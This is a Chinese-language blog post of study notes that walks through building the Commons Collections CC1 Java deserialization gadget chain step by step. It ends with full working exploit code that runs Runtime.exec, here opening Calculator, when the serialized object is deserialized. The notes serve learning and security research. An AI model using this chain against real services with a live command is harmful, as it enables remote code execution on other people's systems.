Loading

CC1番外

CC1番外

该笔记是记录观看b站白日梦组长Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili的记录,大佬牛逼!!!

初学者(比如我),建议反复刷该视频。

环境搭建

JDK:8u65

Maven:3.6.2

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.2.1</version>  
</dependency>

这里有一个坑,就是我们需要添加sun包,因为我们打开源码,很多地方的文件是 .class 文件,都是反编译代码,我们很难读懂,所以需要需要从网上下载 .java 文件。

下载地址是这个:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载zip文件,解压

复制下面sun包,注意目录

复制到jdk目录下

接着需要在idea里面,导入

我们随便点开sun目录下,发现是java文件,至此可以调试了。

链子分析

首先回顾一下反序列化漏洞的攻击思路:

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下:

我们知道宇宙万法的那个源头就是Transformer接口🐶

我么看一下谁实现了Transformer接口

我们需要寻找一个可以执行命令的地方,要不是反射,要不就是动态加载字节码的地方,最终出现的地方在InvokerTransformer,

我们看到这里可能存在漏洞点,尝试构造一下

import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {

    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);
    }

}

现在我们找到InvokerTransformer里面的transform方法是一个危险方法,所以我们往回找,谁的里面调用了这个方法。直接Find Usages ,注意,这里要找的是不同方法的内部调用transform

我们找到三个点,一个是TransformedMap,另一个是LazyMap,还有一个DefaultedMap

比如说LazyMap里面的get方法里面调用了transform,我们接下来就可以看看谁的readObject函数里面调用了get方法,如果有的话,就很好利用。

但是这里我们先看TransformedMap这个点:

TransformedMap类的checkSetValue方法调用了transform方法

那么什么是valueTransformer呢?直接看构造函数,可以看到是构造函数是protected,肯定是给自己调用的。接着理解一下这个构造函数是干嘛的?传进去一个 Map,一个key的Transformer,一个 value 的Transformer,应该是会对 Map 的key和 value 进行操作,操作已经写到Transformer里面了。

我们看一下是谁调用了这个构造方法,是静态方法decorate方法,

我们现在确定的是TransformedMap类的checkSetValue方法调用了transform方法(valueTransformer.transform(value)),那么如果把valueTransformer变为前面的InvokerTransformer,且 value 值可控,那么当执行checkSetValue方法的时候,不就能出发漏洞了吗。

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,invokerTransformer);

那么checkSetValue方法怎么调用呢?

我们点进去看,发现这是一个抽象类,是 TransformedMap 的父类——AbstractInputCheckedMapDecorator类。

调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntrysetValue() 实际上就是在 Map 中对一组 entry(键值对) 进行 setValue() 操作。

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

写一个demo,看看在遍历一个经过decorate之后的 Map,是否会触发setValue() ,进而走到checkSetValue()里面。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);

        for (Map.Entry entry : decorateMap.entrySet()) {
            entry.setValue(r);
        }


    }

}

可见,真的触发setValue() ,进而走到checkSetValue()里面了。

所以,如果有一个遍历Map的地方,并且调用了setValue(),即可构造poc。

当然,如果能找到一个 readObject()​ ** 里面调用了 setValue()​ ** 就太好了。

还是FindUsages,成功找到一个在readObject()方法里面调用setValue()的地方,

AnnotationInvocationHandler类的readObject函数,我们先看一下构造函数

构造函数传进去两个参数,一个是注解,另一个是一个 Map,这个 map 就是我们传进去的恶意的 map(decorateMap)。

readObject函数里面完美符合我们的条件。

但是我们需要注意的是:AnnotationInvocationHandler 类的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。还要满足两个if语句。

开始手写

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
        //通过发射把decorateMap传进去
      	Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Target.class, decorateMap);
      
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这是理想情况,但是这样是不会触发漏洞的,为什么呢?

这里面有 3 个问题需要解决

  1. Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。
  2. setValue() 的传参,是需要传进去一个 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西

  1. 两个if语句没有满足

解决问题 1

Runtime 类不能序列化,但是 Runtime.class是可以序列化的

我们可以通过反射执行Runtime.getRuntime()

public class Main {

    public static void main(String[] args) throws Exception {
        Class clazz = Runtime.class;
        Method getruntime = clazz.getMethod("getRuntime",null);
        Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
        Method execMethod = clazz.getMethod("exec", String.class);
        execMethod.invoke(r,"open -a Calculator");
    }
}

现在转换为InvokerTransformer版本

public class Main {

    public static void main(String[] args) throws Exception {
//        Class clazz = Runtime.class;
//        Method getruntime = clazz.getMethod("getRuntime",null);
//        Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(r,"open -a Calculator");

        Method getruntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getruntime);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
    }
}

这里看代码算是一个循环调用,即:

稍微理一理可以看到,上方主函数最后三行代码有一个共同点就是:

  • 格式都为 new InvokerTransformer().transform()
  • 后一个 transform() 方法里的参数都是前一个的结果

从代码的复用性角度来说,我们应当减少这种复用的工作量,于是我们使用 ChainedTransformer 这个类。

代码如下:

只需要在最开始的transform函数传一个Runtime.class即可。

public class Main {

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        new ChainedTransformer(transformers).transform(Runtime.class);

    }
}

至此,第一个问题解决。

与之前的链子结合起来:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Target.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是我们还是弹不出计算器,是因为还有问题没解决。

调试一下看看为什么

看到memberType是空的,压根没有进去

解决问题 3

首先需要确保memberType不为空。

Target.class ——》type,一个注解

decorateMap——》memberValues

看源码可以得知,要想memberType不为空,传进去的type的值,注解必须有参数,不为空

内置的注解可以用的有Retention,Target都可以

注解参数为value,那么我们构造的 map 的key的值必须也为 "value"

package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Retention.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

终于可以进去了

问题 3 解决了。

解决问题 2

此时我们虽然进来了,但是checkSetValue(value)里面 value 的值还是不可控的,现在它的值是

下面这两句话其实是一样的

valueTransformer.transform(value);
chainedTransformer.transform(Runtime.class);

我们需要把 value传进去一个Runtime.class才行,怎么做呢?

这里引入ConstantTransformer,ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个 对象,并在transform方法将这个对象再返回。

只需要在构造poc的开头new ConstantTransformer(Runtime.class)`出来就行了。

这样,问题 2 也解决了。

我们重写一下整条exp

package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Retention.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

posted @ 2024-12-25 09:45  yingzui  阅读(34)  评论(0)    收藏  举报